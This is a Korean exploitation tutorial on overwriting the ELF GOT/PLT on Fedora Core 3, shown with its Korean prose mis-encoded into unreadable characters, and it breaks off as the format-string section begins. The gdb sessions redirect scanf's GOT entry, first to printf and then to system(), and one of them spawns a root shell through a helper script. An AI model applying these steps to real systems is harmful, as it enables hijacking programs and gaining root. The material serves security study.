* Á¦ ¸ñ: ELF's GOT, PLT µ¤¾î¾²±â¸¦ ÅëÇÑ Æ÷¸Ë ½ºÆ®¸µ Å×Å©´Ð ¸î °¡Áö. (Fedora Core 3 based GOT, PLT overwrite exploit method) * Å×½ºÆ® ȯ°æ: Fedora Core release 3 (Heidelberg) Linux 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 * ÀÛ¼ºÀÚ: À¯µ¿ÈÆ - Xpl017Elz http://x82.inetcop.org ÀÌ ±â¼úÀº ¿À·¡ ÀüºÎÅÍ »ç¿ëµÇ¾ú´ø ¹æ¹ýÀ¸·Î½á, ±×¸® Ưº°ÇÑ Å×Å©´ÐÀº ¾Æ´Ï´Ù. ÀÌ ¹æ¹ýÀ» ÅëÇØ nonexec-stack°ú random-stackÀ» ¿ìȸÇÏ¿© remote format string exploitÀ» ½ÃµµÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ¹Ý¸é, local °ø°Ý È¿À²¼ºÀÌ ¶³¾îÁö´Â ´ÜÁ¡ÀÌ ÀÖ´Ù. ±× ÀÌÀ¯´Â »ç¿ëÀÚ ±ÇÇÑ »ó½Â ¹®Á¦ ¶§¹®Àε¥, ÀÎÀÚ °ª°ú ÀÏÄ¡ÇÏ´Â libc ÇÔ¼ö°¡ ÀÖÀ» ¶§´Â setuid °ü·Ã ÇÔ¼ö¸¦ È£ÃâÇÏ¿© ±ÇÇÑ »ó½ÂÀÌ °¡´ÉÇϰÚÁö¸¸, ÀÀ¿ëÀûÀÎ ºÎºÐÀ̳ª Å©°Ô ¿¹¿ÜÀûÀÎ »óȲÀº ´Ù·çÁö ¾Ê±â·Î Çß´Ù. (»ç½Ç ¿¹¿ÜÀûÀÎ »óȲ¿¡¼­ÀÇ °ø°ÝÀ» ¹«Ã´À̳ª Áñ±â´Â ÆíÀÌ´Ù. ÇÏÁö¸¸, ±×·¸°Ô ¹®¼­¸¦ ÀÛ¼ºÇÏ´Ù º¸¸é ³Ê¹« ÇÑ Âʸ鿡¸¸ Ä¡¿ìÃÄÁ® º»·¡ ¼³¸íÇϰíÀÚ ÇÏ´Â Àǵµ¿Í ¸Ö¾îÁ® ¹ö¸®°ï ÇÑ´Ù. :-X) ±×·³, °£´ÜÈ÷ GOT¿Í PLT¿¡ ´ëÇØ Á¤¸®ÇÒ °â, ¿¬±¸ÇÒ ³»¿ëÀÌ ¹«¾ùÀÎÁö ¾Ë¾Æº¸µµ·Ï ÇϰڴÙ. [Âü°í »çÇ×] -------------------------------------------------------------------------------------------- ¾Ë·ÁÁø ÀÌ·Ð, ½ÇÁ¦ µð¹ö±ë ÈÄ °á°ú, °³¹ßÀÚÀÇ Àǵµ¸¦ ´ãÀº ¼Ò½º ÄÚµå...µîÀº °¢±â ´Ù¸¦ ¼ö ÀÖ´Ù. ±×°ÍÀº ÀÏ¸Æ »óÅëÇÏ´Â °Í °°À¸¸é¼­µµ ¾à°£ÀÇ ¼­·Î Ʋ¸° Àǹ̸¦ °¡Áú ¶§µµ Àִµ¥ ³»°¡ ÀÌ·± À̾߱⸦ ¹Ì¸®ÇÏ´Â ÀÌÀ¯´Â Áö±ÝºÎÅÍ ¼³¸íÇØ³ª°¡´Â ¹®¼­ÀÇ ³»¿ë¿¡ ´ëÇØ 100% ½Å·Ú¼ºÀ» °®Áö ¾Ê±â ¶§¹®ÀÌ´Ù. ³ª´Â ±×°ÍµéÀ» ¹Ýµå½Ã Å×½ºÆ®Çϰí ÀÛ¼ºÇßÀ¸³ª ¾Ë·ÁÁø À̷аú ½ÇÁ¦ ¼Ò½º Äڵ带 ¿Ïº®È÷ ºÐ¼®ÇÏ¿© ºñ±³ÇÏÁö´Â ¸øÇß´Ù. ´Ü¼ø µð¹ö±ë ¼öÁØ¿¡¼­ À̷п¡ ¸ÂÃß¾î `ÀÌ·² °ÍÀ̰í ÀÌ·± ±¸Á¶¸¦ °®´Â´Ù...' ¶ó´Â ¼³¸íÀ¸·Î ¹®¼­¸¦ ÁغñÇ߱⠶§¹®¿¡ ÄÚµå ¼öÁØ¿¡¼­ ¿ÏÀüÈ÷ ºÐ¼®Çϰí ÀÚ¼¼È÷ ¹®¼­¸¦ ¾²Áö ¸øÇÏ´Â °Í¿¡ ´ëÇØ ¾Æ½¬¿ï »ÓÀÌ´Ù. ½ÇÁ¦ ¼Ò½º Äڵ带 ºÐ¼®Çϸ鼭 ÀÛ¼ºÇϸé À̷лóÀÇ ¿À·ù¸¦ Àâ¾Æ³ª°¡¸é¼­ ¸íÄèÇÏ°Ô ¼³¸íÇÒ ¼ö ÀÖ°ÚÁö¸¸ ³ªÀÇ Áö±Ý ¹æ½Ä´ë·Î ¹®¼­¸¦ ÀÛ¼ºÇÒ °æ¿ì, À߸øµÈ ÀÌ·ÐÀ» ±×´ë·Î ´ã°í ¹¬ÀÎÇØ¹ö¸®´Â ÀÏÀÌ ¹ß»ýÇÒ ¼ö ÀÖ´Ù. :-( ±×·¡¼­ Â÷ ÈÄ¿¡ ³»°¡ ¿©À¯ÀÇ ½Ã°£À» °¡Áö°í ÀÖÀ» ¶§, ¿À·ù ³»¿ëµéÀ̳ª Âü°í »çÇ×µîÀ» Ãß°¡·Î µ¡ ºÙÀÏ ¿¹Á¤ÀÌ´Ù. -------------------------------------------------------------------------------------------------------- * GOT¿Í PLT GOT´Â Global Offset Table(Àü¿ª ¿ÀÇÁ¼Â Å×À̺í)·Î½á, ½ÇÇà ÈÄ, libc.so³» ½ÇÁ¦ ÇÔ¼ö ÁÖ¼Ò°¡ ´ã±â´Â ÀúÀå¼ÒÀÌ´Ù. PLT´Â ÀÏÁ¾ÀÇ ½ÇÁ¦ È£Ãâ Äڵ带 ´ã°í ÀÖ´Â Procedure Linkage Table(ÇÁ·Î½ÃÁ® ¸µÅ°Áö Å×À̺í)·Î½á ÀÌ ³»¿ë ÂüÁ¶¸¦ ÅëÇØ _dl_runtime_resolve°¡ ¼öÇàµÇ°í, ½ÇÁ¦ ½Ã½ºÅÛ ¶óÀ̺귯¸® È£ÃâÀÌ ÀÌ·ç¾îÁö°Ô µÈ´Ù. (¸Å ¹øÀÌ ¾Æ´Ñ, ÇÑ ¹ø¸¸ ¼öÇàµÇ°í ³ª¸é, ±× ´ÙÀ½ºÎÅÍ´Â GOT¿¡ ±â·ÏµÈ ³»¿ë¸¸ ÂüÁ¶ÇÏ¿© ¼öÇà) À̸¦ ½ÇÁ¦ ½Ã½ºÅÛ ¶óÀ̺귯¸® ÁÖ¼Ò¸¦ È£ÃâÇϱâ À§ÇØ ÇÊ¿äÇÑ Á¤º¸ Å×À̺íÀÌ¶ó º¸¸é µÉ²¨ °°´Ù. (_dl_runtime_resolveÀÇ ÀÎÀÚ °ªµµ ¿©±â¼­ µé¾î°¨) ±×·³, ¾î¶°ÇÑ ±¸Á¶·Î ½ÇÇàµÇ´Â°¡, ºÐ¼®Çغ¸ÀÚ. C ¼Ò½º: -- int main() { char buf[]="XXXXYYYY"; scanf("%s",buf); printf("%s",buf); } [root@NewbieServer test]# objdump --dynamic-reloc scanf scanf: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080494dc R_386_GLOB_DAT __gmon_start__ 080494c8 R_386_JUMP_SLOT __register_frame_info 080494cc R_386_JUMP_SLOT scanf 080494d0 R_386_JUMP_SLOT __deregister_frame_info 080494d4 R_386_JUMP_SLOT __libc_start_main 080494d8 R_386_JUMP_SLOT printf [root@NewbieServer test]# -- Àß »ìÆìº¸¸é, TYPEÀÌ R_386_JUMP_SLOTÀ̶ó°í ¸í½ÃµÈ °ÍµéÀÌ PLT ÂüÁ¶ÀÇ Áß¿äÇÑ ¿ªÇÒÀ» ÇÑ´Ù. ±×·³ ½ÇÁ¦ ÇÁ·Î±×·¥ ºÐ¼®À» ÅëÇØ ¾Ë¾Æº¸°Ú´Ù. ¾Æ·¡ º¸ÀÌ´Â °ÍµéÀÌ ¹Ù·Î PLT ¿µ¿ªÀÌ´Ù. ÀÌ ¿µ¿ªµéÀº objdump -h ¸í·ÉÀ» ÅëÇØ .plt°¡ ¾îµðÂë ÀÖ´ÂÁö °£´ÜÈ÷ ¾Ë¼ö ÀÖ´Ù. -- (gdb) disass scanf Dump of assembler code for function scanf: 0x804830c : jmp *0x80494cc 0x8048312 : push $0x8 0x8048317 : jmp 0x80482ec <_init+48> End of assembler dump. (gdb) disass printf Dump of assembler code for function printf: 0x804833c : jmp *0x80494d8 0x8048342 : push $0x20 0x8048347 : jmp 0x80482ec <_init+48> End of assembler dump. (gdb) -- ½ÇÇà ÀüÀÇ PLT ³»¿ëÀÌ´Ù. À§ ³»¿ë Áß push ºÎºÐÀÌ ¹Ù·Î ¼öÇà ÇÔ¼ö(VALUE)¸¦ °áÁ¤ÇÏ´Â ¿ªÇÒÀ» ÇÑ´Ù. ½ÇÁ¦ ½Ã½ºÅÛ ¶óÀ̺귯¸® ÇÔ¼öÀÇ address¸¦ ¾ò¾î GOT¿¡ ³Ö±â±îÁö (ù ¹øÂ° ¼öÇà) ÀÏ·ÃÀÇ °úÁ¤Àº _dl_runtime_resolve ÇÔ¼ö¿¡¼­ ÇÏ´Â ¿ªÇÒÀÌ´Ù. À§¿¡ pushÇÑ °ªÀº °á±¹ _dl_runtime_resolve ÇÔ¼öÀÇ ÀÎÀÚ °ªÀÌ´Ù. R_386_JUMP_SLOT ³ª¿­ ¼ø¼­´ë·Î µûÁö¸é, ¾Æ·¡¿Í °°Àº Á¤º¸¸¦ ÅëÇØ _dl_runtime_resolve ÇÔ¼öÀÇ ÀÎÀÚ °ªÀ¸·Î µé¾î°¡ ½ÇÁ¦ ¼öÇà Äڵ带 ºÒ·¯¿Â´Ù. -- 080494c8 R_386_JUMP_SLOT __register_frame_info - 0x0 080494cc R_386_JUMP_SLOT scanf - 0x8 080494d0 R_386_JUMP_SLOT __deregister_frame_info - 0x10 080494d4 R_386_JUMP_SLOT __libc_start_main - 0x18 080494d8 R_386_JUMP_SLOT printf - 0x20 -- ±×·³, ½ÇÁ¦·Î È®ÀÎÇØº¼±î³ª... -- (gdb) x/20 0x8048312-20 (scanfÀÇ push ÄÚµå ºÎºÐ) 0x80482fe <__register_frame_info+2>: 0x080494c8 0x00000068 0xffe0e900 0x25ffffff ~~~~~~~~~~ (push $0x0) 0x804830e : 0x080494cc 0x00000868 0xffd0e900 0x25ffffff ~~~~~~~~~~~ (push $0x8) 0x804831e <__deregister_frame_info+2>: 0x080494d0 0x00001068 0xffc0e900 0x25ffffff ~~~~~~~~~~ (push $0x10) 0x804832e <__libc_start_main+2>: 0x080494d4 0x00001868 0xffb0e900 0x25ffffff ~~~~~~~~~~ (push $0x18) 0x804833e : 0x080494d8 0x00002068 0xffa0e900 ~~~~~~~~~~ (push $0x20) Cannot access memory at address 0x804834a. (gdb) -- ¿ª½Ã ¿¹»ó´ë·Î´Ù. °¢ ¼ø¼­´ë·Î PLT·Î ¹èÄ¡µÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. À̷дë·Î ¶ó¸é, ¸®´ª½º´Â ´ÙÀ½°ú °°Àº ¸µÅ© ¹æ½ÄÀ» ÃëÇϴµ¥ ÀÌ´Â ÇÔ¼ö°¡ óÀ½ ½ÇÇàµÉ ¶§¿Í µÎ ¹øÂ° ½ÇÇàµÉ ¶§ÀÇ ¼öÇà ±¸Á¶°¡ ´Ù¸£´Ù. ------------------------------------------------------------------------------------------------------------------------------------------------ * óÀ½ ½ÇÇàµÉ ¶§ ±¸Á¶: [scanf ÇÔ¼ö È£Ãâ]--->[PLT·Î À̵¿]--->[push ÄÚµå ÁÖ¼Ò¸¦ Æ÷ÀÎÅÍÇÏ´Â GOT·Î À̵¿]--->[_dl_runtime_resolve]--->[GOT ÀúÀå ÈÄ, ½ÇÁ¦ ÇÔ¼ö ÁÖ¼Ò·Î Á¡ÇÁ] * µÎ ¹øÂ° ½ÇÇàµÉ ¶§ ±¸Á¶: [scanf ÇÔ¼ö È£Ãâ]--->[PLT·Î À̵¿]--->[GOT¿¡´Â ÀÌ¹Ì Ã¹¹øÂ° ½ÇÇà ½Ã, ÀúÀåµÈ ½ÇÁ¦ ÇÔ¼ö ÁÖ¼Ò°¡ ÀÖÀ½ ===> Á¡ÇÁ] ------------------------------------------------------------------------------------------------------------------------------------------------ ±×·³, ½ÇÇà ÈÄ, ¼ø¼­¸¦ ºÐ¼®Çغ¸°Ú´Ù. ù ¹øÂ°·Î scanf ÇÔ¼ö È£ÃâÇϱâ ÀüÀÇ PLT¿Í GOT ³»¿ë: -- PLT: (gdb) disass 0x804830c Dump of assembler code for function scanf: 0x804830c : jmp *0x80494cc 0x8048312 : push $0x8 0x8048317 : jmp 0x80482ec <_init+48> End of assembler dump. (gdb) GOT: (gdb) x 0x80494cc 0x80494cc <_GLOBAL_OFFSET_TABLE_+16>: 0x08048312 <------ PLTÀÇ push ¸í·É Äڵ带 °¡¸®Å´. (gdb) x/x 0x08048312 0x8048312 : 0x00000868 <---------------------- È®ÀÎ °á°ú, 'push $0x8' ¹®¹ýÀÌ ¸ÂÀ½. (gdb) -- ÀÚ, ±×·¯¸é ÀÌÁ¦ scanf ÇÔ¼ö È£Ãâ ÈÄÀÇ ±¸Á¶¸¦ º¸ÀÚ. (scanf ÇÔ¼ö È£Ãâ) scanf ÇÔ¼öÀÇ PLT´Â 0x0804830cºÎÅÍ ½ÃÀÛÇÑ´Ù. (PLT·Î À̵¿) ½ÃÀÛ°ú µ¿½Ã¿¡ GOT·Î jumpÇϴµ¥, ÀÌ ¶§ GOT(0x080494cc)¿¡´Â (GOT·Î À̵¿) push Äڵ带 °¡¸®Å°´Â Æ÷ÀÎÅͰ¡ ÀÖ°í, ÇØ´ç push ÄÚµå·Î ÀÎÀÚ¸¦ ³Ö¾î 0x8¿¡ ÀÖ´Â Äڵ带 ÂüÁ¶Çϵµ·Ï Çϴµ¥, À§¿¡ objdump·Î ºÐ¼®ÇßµíÀÌ 0x8Àº scanf¿¡ °üÇÑ ÄÚµåÀÌ´Ù. (_dl_runtime_resolve ¼öÇà °úÁ¤) ÀÌ·¸°Ô ½ÇÁ¦ ½ÇÇà ¶óÀ̺귯¸® ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ¾ò¾î GOT¿¡ ÀúÀå ÈÄ, ÃÖÁ¾ÀûÀ¸·Î ½ÇÇà ÇÔ¼ö·Î Á¡ÇÁÇÏ¿© ½ÇÇàÇÏ°Ô µÈ´Ù. (½ÇÁ¦ ÇÔ¼ö ÄÚµå·Î Á¡ÇÁ) -- (gdb) x/x 0x080494cc 0x80494cc <_GLOBAL_OFFSET_TABLE_+16>: 0x400686f4 <------ _dl_runtime_resolve¸¦ ÅëÇØ ¾ò¾îÁ® GOT¿¡ ÀúÀåµÈ ½ÇÁ¦ ½Ã½ºÅÛ ¶óÀ̺귯¸®. (gdb) x/x 0x400686f4 0x400686f4 : 0x53e58955 <---------------------- ¿¹»ó´ë·Î scanfÀÇ ½ÇÁ¦ ÁÖ¼Ò¿´À½. (gdb) scanf ÇÔ¼ö ½ÇÇà ÈÄ, GOT¸¦ ã¾Æº¸¸é, À§ÀÇ push ¸í·É Äڵ带 °¡¸®Å°´ø °Í°ú ÀüÇô ´Ù¸£°Ô scanfÀÇ ½ÇÁ¦ ¶óÀ̺귯¸® ÇÔ¼ö ÁÖ¼Ò°¡ ÀúÀåµÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. À̷νá, ù ¹øÂ° ½ÇÇàÀ» ÅëÇØ GOT°¡ ¾ò¾îÁ®, ÀúÀåµÈ´Ù´Â °ÍÀ» ¾Ë¾Ò´Ù. ÀÌÁ¦ ÇÁ·Î±×·¥ ³»¿¡¼­ µ¿ÀÏÇÑ scanf ÇÔ¼ö°¡ ¼öÇàµÉ ¶§´Â _dl_runtime_resolveÀÇ °úÁ¤À» °ÅÄ¡Áö ¾Ê°í GOTÀÇ °ªÀ» ÂüÁ¶ÇÏ¿© ½ÇÁ¦ ¶óÀ̺귯¸® ÇÔ¼ö ÁÖ¼Ò·Î jump ½ÇÇàµÈ´Ù. ÀÌ·¸°Ô ¾òÀº Áö½ÄÀ¸·Î °ú¿¬ ¹«¾ùÀ» ÇÒ ¼ö Àִ°¡?? --------- ÀÌ ºÎºÐÀº format string exploit°ú´Â ¹«°üÇϰÔ, ´Ü¼øÈ÷ PLT, GOT·Î Àå³­Ä¡´Â ³»¿ëÀÌ´Ù ----------- ¿ì¼±, push ¸í·ÉÀ» Æ÷ÀÎÅÍÇÏ´Â GOT¸¦ ´Ù¸¥ ÁÖ¼Ò¿¡ ÀÖ´Â push ¸í·É À§Ä¡·Î Á¶ÀÛÇÏ¿© ÇÁ·Î±×·¥ ³»ºÎ ´Ù¸¥ ÇÔ¼ö¸¦ ºÎ¸£´Â °ÍÀÌ °¡´ÉÇÏ´Ù. ´Ü, ÇØ´ç ÇÔ¼ö´Â dynamic-reloc¿¡ ÀÖ´Â Áï, ÇÁ·Î±×·¥ »ó¿¡¼­ »ç¿ëÇÏ´Â ÇÔ¼ö¿©¾ß ÇÑ´Ù. (¾Æ¸¶µµ ±×·¸´Ù.) ÀÚ, ±×·³ ½ÃÇèÇØº¸µµ·Ï ÇÏÀÚ. ¿ì¼±, scanf PLT ³»ÀÇ push ¸í·ÉÀ» GOT°¡ °¡¸®Å°°í ÀÖÀ¸¹Ç·Î, GOT°¡ °¡¸®Å°´Â push ¸í·ÉÀ» printfÀÇ push ¸í·ÉÀ¸·Î º¯°æÇÑ´Ù. printf PLT ³»ÀÇ push ¸í·ÉÀ» È£ÃâÇÔÀ¸·Î½á, printf ÇÔ¼ö°¡ µÎ ¹ø ½ÇÇàµÇ´Â ¿ô±â´Â Çö»óÀ» º¼ ¼ö ÀÖ´Ù. -- [root@NewbieServer test]# gdb -q scanf (gdb) disass scanf Dump of assembler code for function scanf: 0x804830c : jmp *0x80494cc 0x8048312 : push $0x8 0x8048317 : jmp 0x80482ec <_init+48> End of assembler dump. (gdb) x 0x8048312+0x30 0x8048342 : 0x00002068 (gdb) br *main Breakpoint 1 at 0x80483f8 (gdb) r Starting program: /home/x82/level6/test/scanf Breakpoint 1, 0x80483f8 in main () (gdb) x 0x80494cc 0x80494cc <_GLOBAL_OFFSET_TABLE_+16>: 0x08048312 (gdb) set *0x80494cc=0x8048342 (gdb) c Continuing. XXXXYYYYXXXXYYYY Program exited with code 010. (gdb) -- Àß »ìÆìº¸¸é, GOT°¡ 0x080494ccÀÌ°í ±× À§Ä¡¿¡´Â ¿¹»ó´ë·Î scanf PLTÀÇ push Äڵ带 °¡¸®Å°´Â 0x08048312 ÁÖ¼Ò°¡ ÀÖ´Ù. ÀÌ ÁÖ¼Ò°ªÀ» scanf °ÍÀÌ ¾Æ´Ñ, printf °ÍÀ¸·Î ±³Ã¼Çߴµ¥ (Âü°í·Î, printfÀÇ push ÄÚµå´Â scanf Äڵ庸´Ù 0x30 byte µÚ¿¡ À§Ä¡ÇØ ÀÖ´Ù. Áï, 0x08048342¿¡ ÀÖ´Ù.) ÀÌ·¸°Ô º¯°æµÈ GOT¸¦ ÅëÇØ push $0x20 ¸í·ÉÀ» ¼öÇàÇÏ°Ô µÇ¸ç, °á°úÀûÀ¸·Î printf ÇÔ¼ö°¡ µÎ ¹ø ½ÇÇàµÈ´Ù. ±×·±µ¥ Àß »ìÆìº¼ °ÍÀº ¾î¶»°Ô "XXXXYYYY" (bufÀÇ ³»¿ë) ¹®ÀÚ¿­ÀÌ Á¤»óÀûÀ¸·Î Ãâ·ÂµÆ´Â°¡ÀÌ´Ù. ±× ÀÌÀ¯´Â °£´ÜÇÏ´Ù. ÀϹÝÀûÀ¸·Î ½ÇÇàµÇ´Â ÇÔ¼öÀÇ ÀÎÀÚ´Â ÀüºÎ ½ºÅÿ¡ À§Ä¡ÇÏ°Ô µÇ´Âµ¥, °ø°ÝÀÚ°¡ ½ºÅÃÀÇ ³»¿ëÀ» º¯°æÇÏÁø ¾Ê¾ÒÀ¸¹Ç·Î, scanf°¡ °¡Áø ÀÎÀÚ°¡ ±×´ë·Î printf¿¡ ´ëÀÔµÈ °ÍÀÌ´Ù. Áï, scanf("%s",buf); ¿¡¼­ ù¹øÂ° ÀÎÀÚ "%s"¿Í µÎ¹øÂ° ÀÎÀÚ buf°¡ ±×´ë·Î printf¿¡¼­ ¼öÇàµÈ °á°úÀÌ´Ù. (char buf[]="XXXXYYYY";) À̰ÍÀº Å×½ºÆ®¿¡ ºÒ°¡ÇÏ´Ù. ´ÜÁö, ÇÔ¼ö¸¦ ´Ù¸¥ ½Ã½ºÅÛ ¶óÀ̺귯¸® ÇÔ¼ö¸¦ °¡·Îä¾î ½ÇÇàÇÒ ¼ö ÀÖ´Ù´Â °¡´É¼ºÀ» ¾Ë¾Æº» °ÍÀÌ´Ù. ÇÏÁö¸¸, À§¿Í ¸Å¿ì Èí»çÇÑ ÇüÅ·Π½©À» ¾ò´Â °ø°ÝÀÌ °¡´ÉÇÏ´Ù. * ¾à°£ÀÇ ÀÀ¿ë: È帧ÀÌ ÁøÇàµÇ°í ÀÖ´Â GOTÀÇ À§Ä¡¿¡ ½Ã½ºÅÛ ¶óÀ̺귯¸® ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ´ëÀÔÇÑ´Ù. ±×·¯¸é, ¾î¶°ÇÑ Çö»óÀÌ ¹ß»ýÇÒ °ÍÀΰ¡?! ´äÀº °£´ÜÇÏ´Ù. _dl_runtime_resolve¸¦ °ÅÃÄ ½ÇÇàµÆ´ø ½Ã½ºÅÛ ¶óÀ̺귯¸® ÇÔ¼ö ½ÇÇà °úÁ¤À» »ý·«ÇÑ °Í°ú ¸¶Âù°¡Áö·Î (µÎ ¹øÂ° ¼öÇà°ú °°ÀÌ) °ð¹Ù·Î ÁöÁ¤ÇÑ ½Ã½ºÅÛ ¶óÀ̺귯¸®°¡ ½ºÅÃÀÇ ÀÎÀÚ¸¦ ÂüÁ¶ÇÏ¿© ½ÇÇàÇÏ°Ô µÈ´Ù. ÀÌ ¶§ °ø°ÝÀÚ´Â ¹«¾ùÀ» ÇÒ ¼ö Àִ°¡, °¢ ÀÎÀÚ¿¡ °ªÀ» ÀûÀýÈ÷ Á¶ÀýÇÑ ÈÄ, system() ÇÔ¼ö¿Í °°Àº ½ÇÇà °ü·Ã ÇÔ¼ö¸¦ ½ÇÇàÇÏ¿© °á°úÀûÀ¸·Î´Â ½©À» ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ¸¸µé ¼ö ÀÖ´Ù. ¾î¶² Á¶°ÇÀÌ ÇÊ¿äÇѰ¡? ½Ã½ºÅÛ ÇÔ¼öÀÇ ½ÇÇà ½Ã, ÀÎÀÚ°ªÀÇ ¸Þ¸ð¸® ±¸Á¶¿Í Èí»çÇÏ°Ô ±¸¼ºÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î, »ç¿ëÀÚ°¡ Á÷Á¢ ÀÔ·ÂÇÒ ¼ö ÀÖ´Â °ªÀÌ ÀÎÀÚ·Î µé¾î°£´Ù¸é, ±×°ÍÀº ¸Å¿ì ÈǸ¢ÇÏ´Ù!! ¶ÇÇÑ, °£Á¢ÀûÀ¸·Î ½ÇÇàµÈ´Ù ÇØµµ, ½ÇÇàÀÌ °¡´ÉÇϵµ·Ï ¸¸µé ¼ö ÀÖ´Â ½Ã½ºÅÛ ¸í·ÉÀ̶ó¸é, °ø°ÝÀ» ¼º°øÇÒ ¼ö ÀÖ´Ù. (½Éº¼¸¯ ¸µÅ©¿Í °°ÀÌ) ±×·³, °£´ÜÇÏ°Ô °ø°ÝÀ» ÇØº¸°Ú´Ù. ¿ì¼±, ½Ã½ºÅÛ »ó¿¡ h¶ó´Â ÆÄÀÏÀ» ¸¸µé°í ½©À» ½ÇÇàÇÏ´Â ³»¿ëÀ» ³Ö´Â´Ù. ¿ì¼±, scanf¸¦ µ¤¾î¾²¸é ù¹øÂ° ÀÎÀÚ°¡ "%s"À̱⠶§¹®¿¡ system() ÇÔ¼ö ½ÇÇà ½Ã, ¿À·ù°¡ ¹ß»ýÇÑ´Ù. ¹Ù·Î ÀÌ '%s' Æ÷¸Ë½ºÆ®¸µÀ» "./h;" ¶õ ¸í·ÉÀ¸·Î µ¤¾î¾´´Ù. (µÚ¿¡ ¼¼¹ÌÄÝ·ÐÀ» ºÙÀÌ´Â ÀÌÀ¯´Â ÇÔ¼öÀÇ ´Ù¸¥ ÀÎÀÚ°¡ ¸í·É¾î·Î ÇÔ²² ½ÇÇàµÇ´Â Çö»óÀÌ ¹ß»ýÇϱ⠶§¹®¿¡ Á¤»óÀûÀÎ ¸í·É ¼öÇàÀ» ¹æÇØÇÏÁö ¾Êµµ·Ï ³Ö¾îÁÖ´Â °ÍÀÌ´Ù.) [root@NewbieServer test]# cat > h #!/bin/sh /bin/sh [root@NewbieServer test]# chmod 755 h [root@NewbieServer test]# gdb -q scanf (gdb) disass scanf Dump of assembler code for function scanf: 0x804830c : jmp *0x80494cc <-------- GOT ºÎºÐ 0x8048312 : push $0x8 0x8048317 : jmp 0x80482ec <_init+48> End of assembler dump. (gdb) br main Breakpoint 1 at 0x80483fe (gdb) r Starting program: /home/x82/level6/test/scanf Breakpoint 1, 0x80483fe in main () (gdb) set *0x80494cc=0x40058160 <------------------ GOT¸¦ system ÇÔ¼ö ÁÖ¼Ò·Î µ¤¾î¾¸. (gdb) disass main Dump of assembler code for function main: 0x80483f8
: push %ebp 0x80483f9 : mov %esp,%ebp 0x80483fb : sub $0xc,%esp 0x80483fe : lea 0xfffffff4(%ebp),%edx 0x8048401 : mov $0x8048490,%eax 0x8048406 : mov (%eax),%edx 0x8048408 : mov %edx,0xfffffff4(%ebp) 0x804840b : mov 0x4(%eax),%edx 0x804840e : mov %edx,0xfffffff8(%ebp) 0x8048411 : mov 0x8(%eax),%al 0x8048414 : mov %al,0xfffffffc(%ebp) 0x8048417 : lea 0xfffffff4(%ebp),%eax 0x804841a : push %eax 0x804841b : push $0x8048499 ~~~~~~~~~~ ù¹øÂ° ÀÎÀÚ "%s"ÀÓÀ» ¾Ë ¼ö ÀÖ´Ù. 0x8048420 : call 0x804830c 0x8048425 : add $0x8,%esp 0x8048428 : lea 0xfffffff4(%ebp),%eax 0x804842b : push %eax 0x804842c : push $0x8048499 0x8048431 : call 0x804833c 0x8048436 : add $0x8,%esp 0x8048439 : leave ---Type to continue, or q to quit--- 0x804843a : ret 0x804843b : nop 0x804843c : nop 0x804843d : nop 0x804843e : nop 0x804843f : nop End of assembler dump. (gdb) x/s 0x8048499 <---------------- scanf ÇÔ¼öÀÇ Ã¹¹øÂ° ÀÎÀÚ¸¦ È®ÀÎÇØº¸´Ï, ´ÙÀ½°ú °°ÀÌ "%s" °ÍÀ» ¾Ë¼ö ÀÖ´Ù. 0x8048499 <_IO_stdin_used+13>: "%s" (gdb) set *0x8048499=0x3b682f2e <---- ÀÌ ºÎºÐÀ» "./h;" ¹®ÀÚ¿­·Î µ¤¾î¾´´Ù. (gdb) c Continuing. bash# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) bash# exit exit ./h; Program exited with code 04. (gdb) ÀÚ, h ½ºÅ©¸³Æ®°¡ ½ÇÇàµÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ÇÙ½ÉÀûÀÎ ³»¿ëÀº ´ÙÀ½°ú °°´Ù. (gdb) set *0x80494cc=0x40058160 (gdb) set *0x8048499=0x3b682f2e GOT¸¦ system ÇÔ¼ö ÁÖ¼Ò·Î ¹Ù²Û °Í°ú, scanfÀÇ Ã¹ ¹øÂ° ÀÎÀÚ °ªÀÎ "%s"¸¦ "./h;"·Î ±³Ã¼ÇØÁØ °Í µÎ °¡ÁöÀÌ´Ù. °á°úÀûÀ¸·Î scanf ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀڴ ù ¹øÂ° ÀÎÀÚ¿¡ µé¾î°£ ";" ´öºÐ¿¡ ¹«½ÃµÉ °ÍÀÌ´Ù. ¾î·µç, scanfÀÇ GOT¸¦ ±³Ã¼ÇÏ¿©, system("./h;"); ÇÔ¼ö¸¦ ¾Æ¹« ¹®Á¦¾øÀÌ ½ÇÇàÇÒ ¼ö ÀÖ¾ú´Ù. ------------------------------------------------------------------------------------------------------ * Æ÷¸Ë ½ºÆ®¸µ °ø°ÝÀ» ÅëÇØ GOT, PLTÀ» ÀÌ¿ëÇÏ¿© ¸í·É¾î ½ÇÇàÇϱâ (ºÎÁ¦: random stack, nonexec shellcode ¿ìȸÇϱâ) #1. system ÇÔ¼ö·Î GOT overwrite Çϱâ ÀÌÁ¦ º»·ÐÀ¸·Î µé¾î°¡°Ú´Ù. ¿©±â±îÁö ¿À´À¶ó Á» Áö·çÇßÀ»°Å¶ó »ý°¢µÈ´Ù. Áö±Ý±îÁöÀÇ Áß¿äÇÑ ³»¿ëÀ» ¿ä¾àÇØº»´Ù¸é GOT¸¦ ¸í·É¾î ½ÇÇà ÇÔ¼ö ÁÖ¼Ò·Î overwriteÇÏ¿© PLT ÂüÁ¶ °úÁ¤(dl_resolve)À» »ý·«ÇÏ°í ¿ì¸®°¡ ¿øÇÏ´Â ÇÔ¼ö¸¦ ¼öÇàÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ ÁÖ Æ÷ÀÎÆ®¿´´Ù. ÀÌÁ¦ ÀÌ ¹æ¹ýÀ» ÅëÇØ ¾î¶°ÇÑ °ø°ÝÀ» ½ÃµµÇÒ ¼ö ÀÖ´ÂÁö °£´ÜÈ÷ ¼³¸íÇØº¸µµ·Ï ÇϰڴÙ. ´ÙÀ½ Äڵ带 